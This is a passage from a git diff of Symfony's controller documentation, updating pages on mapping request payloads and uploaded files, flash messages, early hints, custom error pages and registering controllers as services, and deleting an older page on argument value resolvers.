page:: + + #[Route('/dashboard', name: 'dashboard', format: 'json')] + +Make sure to install `phpstan/phpdoc-parser`_ and `phpdocumentor/type-resolver`_ +if you want to map a nested array of specific DTOs:: + + public function dashboard( + #[MapRequestPayload] EmployeesDto $employeesDto + ): Response + { + // ... + } + + final class EmployeesDto + { + /** + * @param UserDto[] $users + */ + public function __construct( + public readonly array $users = [] + ) {} + } + +Instead of returning an array of DTO objects, you can tell Symfony to transform +each DTO object into an array and return something like this: + +.. code-block:: json + + [ + { + "firstName": "John", + "lastName": "Smith", + "age": 28 + }, + { + "firstName": "Jane", + "lastName": "Doe", + "age": 30 + } + ] + +To do so, map the parameter as an array and configure the type of each element +using the ``type`` option of the attribute:: + + public function dashboard( + #[MapRequestPayload(type: UserDto::class)] array $users + ): Response + { + // ... + } + +.. versionadded:: 7.1 + + The ``type`` option of ``#[MapRequestPayload]`` was introduced in Symfony 7.1. + +.. _controller_map-uploaded-file: + +Mapping Uploaded Files +~~~~~~~~~~~~~~~~~~~~~~ + +Symfony provides an attribute called ``#[MapUploadedFile]`` to map one or more +``UploadedFile`` objects to controller arguments:: + + namespace App\Controller; + + use Symfony\Bundle\FrameworkBundle\Controller\AbstractController; + use Symfony\Component\HttpFoundation\File\UploadedFile; + use Symfony\Component\HttpFoundation\Response; + use Symfony\Component\HttpKernel\Attribute\MapUploadedFile; + use Symfony\Component\Routing\Attribute\Route; + + class UserController extends AbstractController + { + #[Route('/user/picture', methods: ['PUT'])] + public function changePicture( + #[MapUploadedFile] UploadedFile $picture, + ): Response { + // ... + } + } + +In this example, the associated :doc:`argument resolver <controller/value_resolver>` +fetches the ``UploadedFile`` based on the argument name (``$picture``). If no file +is submitted, an ``HttpException`` is thrown. You can change this by making the +controller argument nullable: + +.. code-block:: php-attributes + + #[MapUploadedFile] + ?UploadedFile $document + +The ``#[MapUploadedFile]`` attribute also allows to pass a list of constraints +to apply to the uploaded file:: + + namespace App\Controller; + + use Symfony\Bundle\FrameworkBundle\Controller\AbstractController; + use Symfony\Component\HttpFoundation\File\UploadedFile; + use Symfony\Component\HttpFoundation\Response; + use Symfony\Component\HttpKernel\Attribute\MapUploadedFile; + use Symfony\Component\Routing\Attribute\Route; + use Symfony\Component\Validator\Constraints as Assert; + + class UserController extends AbstractController + { + #[Route('/user/picture', methods: ['PUT'])] + public function changePicture( + #[MapUploadedFile([ + new Assert\File(mimeTypes: ['image/png', 'image/jpeg']), + new Assert\Image(maxWidth: 3840, maxHeight: 2160), + ])] + UploadedFile $picture, + ): Response { + // ... + } + } + +The validation constraints are checked before injecting the ``UploadedFile`` into +the controller argument. If there's a constraint violation, an ``HttpException`` +is thrown and the controller's action is not executed. + +If you need to upload a collection of files, map them to an array or a variadic +argument. The given constraint will be applied to all files and if any of them +fails, an ``HttpException`` is thrown: + +.. code-block:: php-attributes + + #[MapUploadedFile(new Assert\File(mimeTypes: ['application/pdf']))] + array $documents + + #[MapUploadedFile(new Assert\File(mimeTypes: ['application/pdf']))] + UploadedFile ...$documents -.. index:: - single: Controller; Response object +Use the ``name`` option to rename the uploaded file to a custom value: + +.. code-block:: php-attributes + + #[MapUploadedFile(name: 'something-else')] + UploadedFile $document + +In addition, you can change the status code of the HTTP exception thrown when +there are constraint violations: + +.. code-block:: php-attributes + + #[MapUploadedFile( + constraints: new Assert\File(maxSize: '2M'), + validationFailedStatusCode: Response::HTTP_REQUEST_ENTITY_TOO_LARGE + )] + UploadedFile $document + +.. versionadded:: 7.1 + + The ``#[MapUploadedFile]`` attribute was introduced in Symfony 7.1. + +Managing the Session +-------------------- + +You can store special messages, called "flash" messages, on the user's session. +By design, flash messages are meant to be used exactly once: they vanish from +the session automatically as soon as you retrieve them. This feature makes +"flash" messages particularly great for storing user notifications. + +For example, imagine you're processing a :doc:`form </forms>` submission:: + +.. configuration-block:: + + .. code-block:: php-symfony + + use Symfony\Component\HttpFoundation\Request; + use Symfony\Component\HttpFoundation\Response; + // ... + + public function update(Request $request): Response + { + // ... + + if ($form->isSubmitted() && $form->isValid()) { + // do some sort of processing + + $this->addFlash( + 'notice', + 'Your changes were saved!' + ); + // $this->addFlash() is equivalent to $request->getSession()->getFlashBag()->add() + + return $this->redirectToRoute(/* ... */); + } + + return $this->render(/* ... */); + } + +:ref:`Reading <session-intro>` for more information about using Sessions. .. _request-object-info: @@ -515,8 +771,9 @@ pass the ``Request`` object to any controller argument that is type-hinted with the ``Request`` class:: use Symfony\Component\HttpFoundation\Request; + use Symfony\Component\HttpFoundation\Response; - public function index(Request $request) + public function index(Request $request): Response { $request->isXmlHttpRequest(); // is it an Ajax request? @@ -524,7 +781,7 @@ the ``Request`` class:: // retrieves GET and POST variables respectively $request->query->get('page'); - $request->request->get('page'); + $request->getPayload()->get('page'); // retrieves SERVER variables $request->server->get('HTTP_HOST'); @@ -565,6 +822,14 @@ response types. Some of these are mentioned below. To learn more about the ``Request`` and ``Response`` (and different ``Response`` classes), see the :ref:`HttpFoundation component documentation <component-http-foundation-request>`. +.. note:: + + Technically, a controller can return a value other than a ``Response``. + However, your application is responsible for transforming that value into a + ``Response`` object. This is handled using :doc:`events </event_dispatcher>` + (specifically the :ref:`kernel.view event <component-http-kernel-kernel-view>`), + an advanced feature you'll learn about later. + Accessing Configuration Values ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ @@ -572,7 +837,7 @@ To get the value of any :ref:`configuration parameter <configuration-parameters> from a controller, use the ``getParameter()`` helper method:: // ... - public function index() + public function index(): Response { $contentsDir = $this->getParameter('kernel.project_dir').'/contents'; // ... @@ -584,8 +849,10 @@ Returning JSON Response To return JSON from a controller, use the ``json()`` helper method. This returns a ``JsonResponse`` object that encodes the data automatically:: + use Symfony\Component\HttpFoundation\JsonResponse; // ... - public function index() + + public function index(): JsonResponse { // returns '{"username":"jane.doe"}' and sets the proper Content-Type header return $this->json(['username' => 'jane.doe']); @@ -604,7 +871,10 @@ Streaming File Responses You can use the :method:`Symfony\\Bundle\\FrameworkBundle\\Controller\\AbstractController::file` helper to serve a file from inside a controller:: - public function download() + use Symfony\Component\HttpFoundation\BinaryFileResponse; + // ... + + public function download(): BinaryFileResponse { // send the file contents and force the browser to download it return $this->file('/path/to/some_file.pdf'); @@ -614,8 +884,9 @@ The ``file()`` helper provides some arguments to configure its behavior:: use Symfony\Component\HttpFoundation\File\File; use Symfony\Component\HttpFoundation\ResponseHeaderBag; + // ... - public function download() + public function download(): BinaryFileResponse { // load the file from the filesystem $file = new File('/path/to/some_file.pdf'); @@ -629,6 +900,57 @@ The ``file()`` helper provides some arguments to configure its behavior:: return $this->file('invoice_3241.pdf', 'my_invoice.pdf', ResponseHeaderBag::DISPOSITION_INLINE); } +Sending Early Hints +~~~~~~~~~~~~~~~~~~~ + +`Early hints`_ tell the browser to start downloading some assets even before the +application sends the response content. This improves perceived performance +because the browser can prefetch resources that will be needed once the full +response is finally sent. These resources are commonly Javascript or CSS files, +but they can be any type of resource. + +.. note:: + + In order to work, the `SAPI`_ you're using must support this feature, like + `FrankenPHP`_. + +You can send early hints from your controller action thanks to the +:method:`Symfony\\Bundle\\FrameworkBundle\\Controller\\AbstractController::sendEarlyHints` +method:: + + namespace App\Controller; + + use Symfony\Bundle\FrameworkBundle\Controller\AbstractController; + use Symfony\Component\HttpFoundation\Response; + use Symfony\Component\Routing\Attribute\Route; + use Symfony\Component\WebLink\Link; + + class HomepageController extends AbstractController + { + #[Route("/", name: "homepage")] + public function index(): Response + { + $response = $this->sendEarlyHints([ + new Link(rel: 'preconnect', href: 'https://fonts.google.com'), + (new Link(href: '/style.css'))->withAttribute('as', 'style'), + (new Link(href: '/script.js'))->withAttribute('as', 'script'), + ]); + + // prepare the contents of the response... + + return $this->render('homepage/index.html.twig', response: $response); + } + } + +Technically, Early Hints are an informational HTTP response with the status code +``103``. The ``sendEarlyHints()`` method creates a ``Response`` object with that +status code and sends its headers immediately. + +This way, browsers can start downloading the assets immediately; like the +``style.css`` and ``script.js`` files in the above example. The +``sendEarlyHints()`` method also returns the ``Response`` object, which you +must use to create the full response sent from the controller action. + Final Thoughts -------------- @@ -655,11 +977,6 @@ Next, learn all about :doc:`rendering templates with Twig </templates>`. Learn more about Controllers ---------------------------- -.. toctree:: - :hidden: - - templates - .. toctree:: :maxdepth: 1 :glob: @@ -668,3 +985,9 @@ Learn more about Controllers .. _`Symfony Maker`: https://symfony.com/doc/current/bundles/SymfonyMakerBundle/index.html .. _`unvalidated redirects security vulnerability`: https://cheatsheetseries.owasp.org/cheatsheets/Unvalidated_Redirects_and_Forwards_Cheat_Sheet.html +.. _`Early hints`: https://developer.mozilla.org/en-US/docs/Web/HTTP/Status/103 +.. _`SAPI`: https://www.php.net/manual/en/function.php-sapi-name.php +.. _`FrankenPHP`: https://frankenphp.dev +.. _`Validate Filters`: https://www.php.net/manual/en/filter.constants.php +.. _`phpstan/phpdoc-parser`: https://packagist.org/packages/phpstan/phpdoc-parser +.. _`phpdocumentor/type-resolver`: https://packagist.org/packages/phpdocumentor/type-resolver diff --git a/controller/argument_value_resolver.rst b/controller/argument_value_resolver.rst deleted file mode 100644 index c9693bbaf9b..00000000000 --- a/controller/argument_value_resolver.rst +++ /dev/null @@ -1,264 +0,0 @@ -.. index:: - single: Controller; Argument Value Resolvers - -Extending Action Argument Resolving -=================================== - -In the :doc:`controller guide </controller>`, you've learned that you can get the -:class:`Symfony\\Component\\HttpFoundation\\Request` object via an argument in -your controller. This argument has to be type-hinted by the ``Request`` class -in order to be recognized. This is done via the -:class:`Symfony\\Component\\HttpKernel\\Controller\\ArgumentResolver`. By -creating and registering custom argument value resolvers, you can extend this -functionality. - -.. _functionality-shipped-with-the-httpkernel: - -Built-In Value Resolvers ------------------------- - -Symfony ships with the following value resolvers in the -:doc:`HttpKernel component </components/http_kernel>`: - -:class:`Symfony\\Component\\HttpKernel\\Controller\\ArgumentResolver\\RequestAttributeValueResolver` - Attempts to find a request attribute that matches the name of the argument. - -:class:`Symfony\\Component\\HttpKernel\\Controller\\ArgumentResolver\\RequestValueResolver` - Injects the current ``Request`` if type-hinted with ``Request`` or a class - extending ``Request``. - -:class:`Symfony\\Component\\HttpKernel\\Controller\\ArgumentResolver\\ServiceValueResolver` - Injects a service if type-hinted with a valid service class or interface. This - works like :doc:`autowiring </service_container/autowiring>`. - -:class:`Symfony\\Component\\HttpKernel\\Controller\\ArgumentResolver\\SessionValueResolver` - Injects the configured session class implementing ``SessionInterface`` if - type-hinted with ``SessionInterface`` or a class implementing - ``SessionInterface``. - -:class:`Symfony\\Component\\HttpKernel\\Controller\\ArgumentResolver\\DefaultValueResolver` - Will set the default value of the argument if present and the argument - is optional. - -:class:`Symfony\\Component\\HttpKernel\\Controller\\ArgumentResolver\\VariadicValueResolver` - Verifies if the request data is an array and will add all of them to the - argument list. When the action is called, the last (variadic) argument will - contain all the values of this array. - -In addition, some components and official bundles provide other value resolvers: - -:class:`Symfony\\Component\\Security\\Http\\Controller\\UserValueResolver` - Injects the object that represents the current logged in user if type-hinted - with ``UserInterface``. Default value can be set to ``null`` in case - the controller can be accessed by anonymous users. It requires installing - the :doc:`Security component </components/security>`. - -``Psr7ServerRequestResolver`` - Injects a `PSR-7`_ compliant version of the current request if type-hinted - with ``RequestInterface``, ``MessageInterface`` or ``ServerRequestInterface``. - It requires installing the `SensioFrameworkExtraBundle`_. - -Adding a Custom Value Resolver ------------------------------- - -In the next example, you'll create a value resolver to inject the object that -represents the current user whenever a controller method type-hints an argument -with the ``User`` class:: - - // src/Controller/UserController.php - namespace App\Controller; - - use App\Entity\User; - use Symfony\Component\HttpFoundation\Response; - - class UserController - { - public function index(User $user) - { - return new Response('Hello '.$user->getUsername().'!'); - } - } - -Beware that this feature is already provided by the `@ParamConverter`_ -annotation from the SensioFrameworkExtraBundle. If you have that bundle -installed in your project, add this config to disable the auto-conversion of -type-hinted method arguments: - -.. configuration-block:: - - .. code-block:: yaml - - # config/packages/sensio_framework_extra.yaml - sensio_framework_extra: - request: - converters: true - auto_convert: false - - .. code-block:: xml - - <!-- config/packages/sensio_framework_extra.xml --> - <?xml version="1.0" encoding="UTF-8" ?> - <container xmlns="http://symfony.com/schema/dic/services" - xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" - xmlns:sensio-framework-extra="http://symfony.com/schema/dic/symfony_extra" - xsi:schemaLocation="http://symfony.com/schema/dic/services - https://symfony.com/schema/dic/services/services-1.0.xsd - http://symfony.com/schema/dic/symfony_extra - https://symfony.com/schema/dic/symfony_extra/symfony_extra-1.0.xsd"> - - <sensio-framework-extra:config> - <request converters="true" auto-convert="false"/> - </sensio-framework-extra:config> - </container> - - .. code-block:: php - - // config/packages/sensio_framework_extra.php - $container->loadFromExtension('sensio_framework_extra', [ - 'request' => [ - 'converters' => true, - 'auto_convert' => false, - ], - ]); - -Adding a new value resolver requires creating a class that implements -:class:`Symfony\\Component\\HttpKernel\\Controller\\ArgumentValueResolverInterface` -and defining a service for it. The interface defines two methods: - -``supports()`` - This method is used to check whether the value resolver supports the - given argument. ``resolve()`` will only be called when this returns ``true``. -``resolve()`` - This method will resolve the actual value for the argument. Once the value - is resolved, you must `yield`_ the value to the ``ArgumentResolver``. - -Both methods get the ``Request`` object, which is the current request, and an -:class:`Symfony\\Component\\HttpKernel\\ControllerMetadata\\ArgumentMetadata` -instance. This object contains all information retrieved from the method signature -for the current argument. - -Now that you know what to do, you can implement this interface. To get the -current ``User``, you need the current security token. This token can be -retrieved from the token storage:: - - // src/ArgumentResolver/UserValueResolver.php - namespace App\ArgumentResolver; - - use App\Entity\User; - use Symfony\Component\HttpFoundation\Request; - use Symfony\Component\HttpKernel\Controller\ArgumentValueResolverInterface; - use Symfony\Component\HttpKernel\ControllerMetadata\ArgumentMetadata; - use Symfony\Component\Security\Core\Security; - - class UserValueResolver implements ArgumentValueResolverInterface - { - private $security; - - public function __construct(Security $security) - { - $this->security = $security; - } - - public function supports(Request $request, ArgumentMetadata $argument) - { - if (User::class !== $argument->getType()) { - return false; - } - - return $this->security->getUser() instanceof User; - } - - public function resolve(Request $request, ArgumentMetadata $argument) - { - yield $this->security->getUser(); - } - } - -In order to get the actual ``User`` object in your argument, the given value -must fulfill the following requirements: - -* An argument must be type-hinted as ``User`` in your action method signature; -* The value must be an instance of the ``User`` class. - -When all those requirements are met and ``true`` is returned, the -``ArgumentResolver`` calls ``resolve()`` with the same values as it called -``supports()``. - -That's it! Now all you have to do is add the configuration for the service -container. This can be done by tagging the service with ``controller.argument_value_resolver`` -and adding a priority. - -.. configuration-block:: - - .. code-block:: yaml - - # config/services.yaml - services: - _defaults: - # ... be sure autowiring is enabled - autowire: true - # ... - - App\ArgumentResolver\UserValueResolver: - tags: - - { name: controller.argument_value_resolver, priority: 50 } - - .. code-block:: xml - - <!-- config/services.xml --> - <?xml version="1.0" encoding="UTF-8" ?> - <container xmlns="http://symfony.com/schema/dic/services" - xmlns:xsi="http://www.w3.org/2001/XMLSchema-Instance" - xsi:schemaLocation="http://symfony.com/schema/dic/services - https://symfony.com/schema/dic/services/services-1.0.xsd"> - - <services> - <!-- ... be sure autowiring is enabled --> - <defaults autowire="true"/> - <!-- ... --> - - <service id="App\ArgumentResolver\UserValueResolver"> - <tag name="controller.argument_value_resolver" priority="50"/> - </service> - </services> - - </container> - - .. code-block:: php - - // config/services.php - namespace Symfony\Component\DependencyInjection\Loader\Configurator; - - use App\ArgumentResolver\UserValueResolver; - - return static function (ContainerConfigurator $container) { - $services = $configurator->services(); - - $services->set(UserValueResolver::class) - ->tag('controller.argument_value_resolver', ['priority' => 50]) - ; - }; - -While adding a priority is optional, it's recommended to add one to make sure -the expected value is injected. The built-in ``RequestAttributeValueResolver``, -which fetches attributes from the ``Request``, has a priority of ``100``. If your -resolver also fetches ``Request`` attributes, set a priority of ``100`` or more. -Otherwise, set a priority lower than ``100`` to make sure the argument resolver -is not triggered when the ``Request`` attribute is present (for example, when -passing the user along sub-requests). - -.. tip:: - - As you can see in the ``UserValueResolver::supports()`` method, the user - may not be available (e.g. when the controller is not behind a firewall). - In these cases, the resolver will not be executed. If no argument value - is resolved, an exception will be thrown. - - To prevent this, you can add a default value in the controller (e.g. ``User - $user = null``). The ``DefaultValueResolver`` is executed as the last - resolver and will use the default value if no value was already resolved. - -.. _`@ParamConverter`: https://symfony.com/doc/current/bundles/SensioFrameworkExtraBundle/annotations/converters.html -.. _`yield`: https://www.php.net/manual/en/language.generators.syntax.php -.. _`PSR-7`: https://www.php-fig.org/psr/psr-7/ -.. _`SensioFrameworkExtraBundle`: https://github.com/sensiolabs/SensioFrameworkExtraBundle diff --git a/controller/error_pages.rst b/controller/error_pages.rst index 337723d8605..06087837437 100644 --- a/controller/error_pages.rst +++ b/controller/error_pages.rst @@ -1,7 +1,3 @@ -.. index:: - single: Controller; Customize error pages - single: Error pages - How to Customize Error Pages ============================ @@ -14,18 +10,16 @@ Symfony catches all the exceptions and displays a special **exception page** with lots of debug information to help you discover the root problem: .. image:: /_images/controller/error_pages/exceptions-in-dev-environment.png - :alt: A typical exception page in the development environment - :align: center - :class: with-browser + :alt: A typical exception page in the development environment with the full stacktrace and log information. + :class: with-browser Since these pages contain a lot of sensitive internal information, Symfony won't display them in the production environment. Instead, it'll show a minimal and generic **error page**: .. image:: /_images/controller/error_pages/errors-in-prod-environment.png - :alt: A typical error page in the production environment - :align: center - :class: with-browser + :alt: A typical error page in the production environment. + :class: with-browser Error pages for the production environment can be customized in different ways depending on your needs: @@ -118,10 +112,12 @@ store the HTTP status code and message respectively. and its required ``getStatusCode()`` method. Otherwise, the ``status_code`` will default to ``500``. -Additionally you have access to the Exception with ``exception``, which for example -allows you to output the stack trace using ``{{ exception.traceAsString }}`` or -access any other method on the object. You should be careful with this though, -as this is very likely to expose sensitive data. +Additionally you have access to the :class:`Symfony\\Component\\HttpKernel\\Exception\\HttpException` +object via the ``exception`` Twig variable. For example, if the exception sets a +message (e.g. using ``throw $this->createNotFoundException('The product does not exist')``), +use ``{{ exception.message }}`` to print that message. You can also output the +stack trace using ``{{ exception.traceAsString }}``, but don't do that for end +users because the trace contains sensitive data. .. tip:: @@ -155,41 +151,51 @@ automatically when installing ``symfony/framework-bundle``): .. code-block:: yaml - # config/routes/dev/framework.yaml - _errors: - resource: '@FrameworkBundle/Resources/config/routing/errors.xml' - prefix: /_error + # config/routes/framework.yaml + when@dev: + _errors: + resource: '@FrameworkBundle/Resources/config/routing/errors.php' + type: php + prefix: /_error .. code-block:: xml - <!-- config/routes/dev/framework.xml --> + <!-- config/routes/framework.xml --> <?xml version="1.0" encoding="UTF-8" ?> <routes xmlns="http://symfony.com/schema/routing" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://symfony.com/schema/routing https://symfony.com/schema/routing/routing-1.0.xsd"> - <import resource="@FrameworkBundle/Resources/config/routing/errors.xml" prefix="/_error"/> + <when env="dev"> + <import resource="@FrameworkBundle/Resources/config/routing/errors.php" type="php" prefix="/_error"/> + </when> </routes> .. code-block:: php - // config/routes/dev/framework.php + // config/routes/framework.php use Symfony\Component\Routing\Loader\Configurator\RoutingConfigurator; - return function (RoutingConfigurator $routes) { - $routes->import('@FrameworkBundle/Resources/config/routing/errors.xml') - ->prefix('/_error') - ; + return function (RoutingConfigurator $routes): void { + if ('dev' === $routes->env()) { + $routes->import('@FrameworkBundle/Resources/config/routing/errors.php', 'php') + ->prefix('/_error') + ; + } }; With this route added, you can use URLs like these to preview the *error* page -for a given status code as HTML or for a given status code and format. +for a given status code as HTML or for a given status code and format (you might +need to replace ``http://localhost/`` by the host used in your local setup): -.. code-block:: text +* ``http://localhost/_error/{statusCode}`` for HTML +* ``http://localhost/_error/{statusCode}.{format}`` for any other format + +.. versionadded:: 7.3 - http://localhost/index.php/_error/{statusCode} - http://localhost/index.php/_error/{statusCode}.{format} + The ``errors.php`` file was introduced in Symfony 7.3. + Previously, you had to import ``errors.xml`` .. _overriding-non-html-error-output: @@ -216,7 +222,7 @@ contents, create a new Normalizer that supports the ``FlattenException`` input:: class MyCustomProblemNormalizer implements NormalizerInterface { - public function normalize($exception, string $format = null, array $context = []) + public function normalize($exception, ?string $format = null, array $context = []): array { return [ 'content' => 'This is my custom problem normalizer.', @@ -227,7 +233,7 @@ contents, create a new Normalizer that supports the ``FlattenException`` input:: ]; } - public function supportsNormalization($data, string $format = null) + public function supportsNormalization($data, ?string $format = null, array $context = []): bool { return $data instanceof FlattenException; } @@ -273,10 +279,12 @@ configuration option to point to it: .. code-block:: php // config/packages/framework.php - $container->loadFromExtension('framework', [ - 'error_controller' => 'App\Controller\ErrorController::show', + use Symfony\Config\FrameworkConfig; + + return static function (FrameworkConfig $framework): void { // ... - ]); + $framework->errorController('App\Controller\ErrorController::show'); + }; The :class:`Symfony\\Component\\HttpKernel\\EventListener\\ErrorListener` class used by the FrameworkBundle as a listener of the ``kernel.exception`` event creates @@ -284,7 +292,7 @@ the request that will be dispatched to your controller. In addition, your contro will be passed two parameters: ``exception`` - The original :class:`Throwable` instance being handled. + The original :phpclass:`Throwable` instance being handled. ``logger`` A :class:`\\Symfony\\Component\\HttpKernel\\Log\\DebugLoggerInterface` @@ -317,8 +325,8 @@ error pages. .. note:: - If your listener calls ``setThrowable()`` on the - :class:`Symfony\\Component\\HttpKernel\\Event\\ExceptionEvent`, + If your listener calls ``setResponse()`` on the + :class:`Symfony\\Component\\HttpKernel\\Event\\ExceptionEvent` event, propagation will be stopped and the response will be sent to the client. @@ -334,3 +342,50 @@ time and again, you can have just one (or several) listeners deal with them. your application (like :class:`Symfony\\Component\\Security\\Core\\Exception\\AccessDeniedException`) and takes measures like redirecting the user to the login page, logging them out and other things. + +Dumping Error Pages as Static HTML Files +---------------------------------------- + +.. versionadded:: 7.3 + + The feature to dump error pages into static HTML files was introduced in Symfony 7.3. + +If an error occurs before reaching your Symfony application, web servers display +their own default error pages instead of your custom ones. Dumping your application's +error pages to static HTML ensures users always see your defined pages and improves +performance by allowing the server to deliver errors instantly without calling +your application. + +Symfony provides the following command to turn your error pages into static HTML files: + +.. code-block:: terminal + + # the first argument is the path where the HTML files are stored + $ APP_ENV=prod php bin/console error:dump var/cache/prod/error_pages/ + + # by default, it generates the pages of all 4xx and 5xx errors, but you can + # pass a list of HTTP status codes to only generate those + $ APP_ENV=prod php bin/console error:dump var/cache/prod/error_pages/ 401 403 404 500 + +You must also configure your web server to use these generated pages. For example, +if you use Nginx: + +.. code-block:: nginx + + # /etc/nginx/conf.d/example.com.conf + server { + # Existing server configuration + # ... + + # Serve static error pages + error_page 400 /error_pages/400.html; + error_page 401 /error_pages/401.html; + # ... + error_page 510 /error_pages/510.html; + error_page 511 /error_pages/511.html; + + location ^~ /error_pages/ { + root /path/to/your/symfony/var/cache/error_pages; + internal; # prevent direct URL access + } + } diff --git a/controller/forwarding.rst b/controller/forwarding.rst index 0f231e07b42..8d8be859da5 100644 --- a/controller/forwarding.rst +++ b/controller/forwarding.rst @@ -1,6 +1,3 @@ -.. index:: - single: Controller; Forwarding - How to Forward Requests to another Controller ============================================= @@ -14,7 +11,7 @@ and calls the defined controller. The ``forward()`` method returns the :class:`Symfony\\Component\\HttpFoundation\\Response` object that is returned from *that* controller:: - public function index($name) + public function index(string $name): Response { $response = $this->forward('App\Controller\OtherController::fancy', [ 'name' => $name, @@ -29,7 +26,7 @@ from *that* controller:: The array passed to the method becomes the arguments for the resulting controller. The target controller method might look something like this:: - public function fancy($name, $color) + public function fancy(string $name, string $color): Response { // ... create and return a Response object } diff --git a/controller/service.rst b/controller/service.rst index f8048e09def..cf83e066a19 100644 --- a/controller/service.rst +++ b/controller/service.rst @@ -1,16 +1,116 @@ -.. index:: - single: Controller; As Services - How to Define Controllers as Services ===================================== -In Symfony, a controller does *not* need to be registered as a service. But if you're -using the :ref:`default services.yaml configuration <service-container-services-load-example>`, -your controllers *are* already registered as services. This means you can use dependency -injection like any other normal service. +In Symfony, a controller does *not* need to be registered as a service. But if +you're using the :ref:`default services.yaml configuration <service-container-services-load-example>`, +and your controllers extend the `AbstractController`_ class, they *are* automatically +registered as services. This means you can use dependency injection like any +other normal service. + +If you prefer to not extend the ``AbstractController`` class, you can register +your controllers as services in several ways: + +#. Using the ``#[Route]`` attribute; +#. Using the ``#[AsController]`` attribute; +#. Using the ``controller.service_arguments`` service tag. + +Using the ``#[Route]`` Attribute +-------------------------------- + +When using :ref:`the #[Route] attribute <routing-route-attributes>` to define +routes on any PHP class, Symfony treats that class as a controller. It registers +it as a public, non-lazy service and enables service argument injection in all +its methods. + +This is the simplest and recommended way to register controllers as services +when not extending the base controller class. + +.. versionadded:: 7.3 + + The feature to register controllers as services when using the ``#[Route]`` + attribute was introduced in Symfony 7.3. + +Using the ``#[AsController]`` Attribute +--------------------------------------- + +If you prefer, you can use the ``#[AsController]`` PHP attribute to automatically +apply the ``controller.service_arguments`` tag to your controller services:: + + // src/Controller/HelloController.php + namespace App\Controller; + + use Symfony\Component\HttpFoundation\Response; + use Symfony\Component\HttpKernel\Attribute\AsController; + use Symfony\Component\Routing\Attribute\Route; + + #[AsController] + class HelloController + { + #[Route('/hello', name: 'hello', methods: ['GET'])] + public function index(): Response + { + // ... + } + } + +.. tip:: + + When using the ``#[Route]`` attribute, Symfony already registers the controller + class as a service, so using the ``#[AsController]`` attribute is redundant. + +Using the ``controller.service_arguments`` Service Tag +------------------------------------------------------ + +If your controllers don't extend the `AbstractController`_ class and you don't +use the ``#[AsController]`` or ``#[Route]`` attributes, you must register the +controllers as public services manually and apply the ``controller.service_arguments`` +:doc:`service tag </service_container/tags>` to enable service injection in +controller actions: + +.. configuration-block:: + + .. code-block:: yaml + + # config/services.yaml + + # controllers are imported separately to make sure services can be injected + # as action arguments even if you don't extend any base controller class + App\Controller\: + resource: '../src/Controller/' + tags: ['controller.service_arguments'] -Referencing your Service from Routing -------------------------------------- +.. note:: + + If you don't use either :doc:`autowiring </service_container/autowiring>` + or :ref:`autoconfiguration <services-autoconfigure>` and you extend the + ``AbstractController``, you'll need to apply other tags and make some method + calls to register your controllers as services: + + .. code-block:: yaml + + # config/services.yaml + + # this extended configuration is only required when not using autowiring/autoconfiguration, + # which is uncommon and not recommended + + abstract_controller.locator: + class: Symfony\Component\DependencyInjection\ServiceLocator + arguments: + - + router: '@router' + request_stack: '@request_stack' + http_kernel: '@http_kernel' + session: '@session' + parameter_bag: '@parameter_bag' + # you can add more services here as you need them (e.g. the `serializer` + # service) and have a look at the AbstractController class to see + # which services are defined in the locator + + App\Controller\: + resource: '../src/Controller/' + tags: ['controller.service_arguments'] + calls: + - [setContainer, ['@abstract_controller.locator']] Registering your controller as a service is the first step, but you also need to update your routing config to reference the service properly, so that Symfony @@ -23,19 +123,18 @@ a service like: ``App\Controller\HelloController::index``: .. configuration-block:: - .. code-block:: php-annotations + .. code-block:: php-attributes // src/Controller/HelloController.php namespace App\Controller; - use Symfony\Component\Routing\Annotation\Route; + use Symfony\Component\HttpFoundation\Response; + use Symfony\Component\Routing\Attribute\Route; class HelloController { - /** - * @Route("/hello", name="hello", methods={"GET"}) - */ - public function index() + #[Route('/hello', name: 'hello', methods: ['GET'])] + public function index(): Response { // ... } @@ -45,9 +144,9 @@ a service like: ``App\Controller\HelloController::index``: # config/routes.yaml hello: - path: /hello + path: /hello controller: App\Controller\HelloController::index - methods: GET + methods: GET .. code-block:: xml @@ -68,7 +167,7 @@ a service like: ``App\Controller\HelloController::index``: use App\Controller\HelloController; use Symfony\Component\Routing\Loader\Configurator\RoutingConfigurator; - return function (RoutingConfigurator $routes) { + return function (RoutingConfigurator $routes): void { $routes->add('hello', '/hello') ->controller([HelloController::class, 'index']) ->methods(['GET']) @@ -86,20 +185,18 @@ which is a common practice when following the `ADR pattern`_ .. configuration-block:: - .. code-block:: php-annotations + .. code-block:: php-attributes // src/Controller/Hello.php namespace App\Controller; use Symfony\Component\HttpFoundation\Response; - use Symfony\Component\Routing\Annotation\Route; + use Symfony\Component\Routing\Attribute\Route; - /** - * @Route("/hello/{name}", name="hello") - */ + #[Route('/hello/{name}', name: 'hello')] class Hello { - public function __invoke($name = 'World') + public function __invoke(string $name = 'World'): Response { return new Response(sprintf('Hello %s!', $name)); } @@ -109,8 +206,8 @@ which is a common practice when following the `ADR pattern`_ # config/routes.yaml hello: - path: /hello/{name} - defaults: { _controller: app.hello_controller } + path: /hello/{name} + controller: App\Controller\HelloController .. code-block:: xml @@ -122,16 +219,18 @@ which is a common practice when following the `ADR pattern`_ https://symfony.com/schema/routing/routing-1.0.xsd"> <route id="hello" path="/hello/{name}"> - <default key="_controller">app.hello_controller</default> + <default key="_controller">App\Controller\HelloController</default> </route> </routes> .. code-block:: php + use App\Controller\HelloController; + // app/config/routing.php $collection->add('hello', new Route('/hello', [ - '_controller' => 'app.hello_controller', + '_controller' => HelloController::class, ])); Alternatives to base Controller Methods @@ -157,14 +256,12 @@ service and use it directly:: class HelloController { - private $twig; - - public function __construct(Environment $twig) - { - $this->twig = $twig; + public function __construct( + private Environment $twig, + ) { } - public function index($name) + public function index(string $name): Response { $content = $this->twig->render( 'hello/index.html.twig', @@ -189,5 +286,4 @@ If you want to know what type-hints to use for each service, see the .. _`Controller class source code`: https://github.com/symfony/symfony/blob/master/src/Symfony/Bundle/FrameworkBundle/Controller/AbstractController.php .. _`AbstractController`: https://github.com/symfony/symfony/blob/master/src/Symfony/Bundle/FrameworkBundle/Controller/AbstractController.php -.. _`AbstractController`: https://github.com/symfony/symfony/blob/master/src/Symfony/Bundle/FrameworkBundle/Controller/AbstractController.php .. _`ADR pattern`: https://en.wikipedia.org/wiki/Action%E2%80%93domain%E2%80%93responder diff --git a/controller/soap_web_service.rst b/controller/soap_web_service.rst 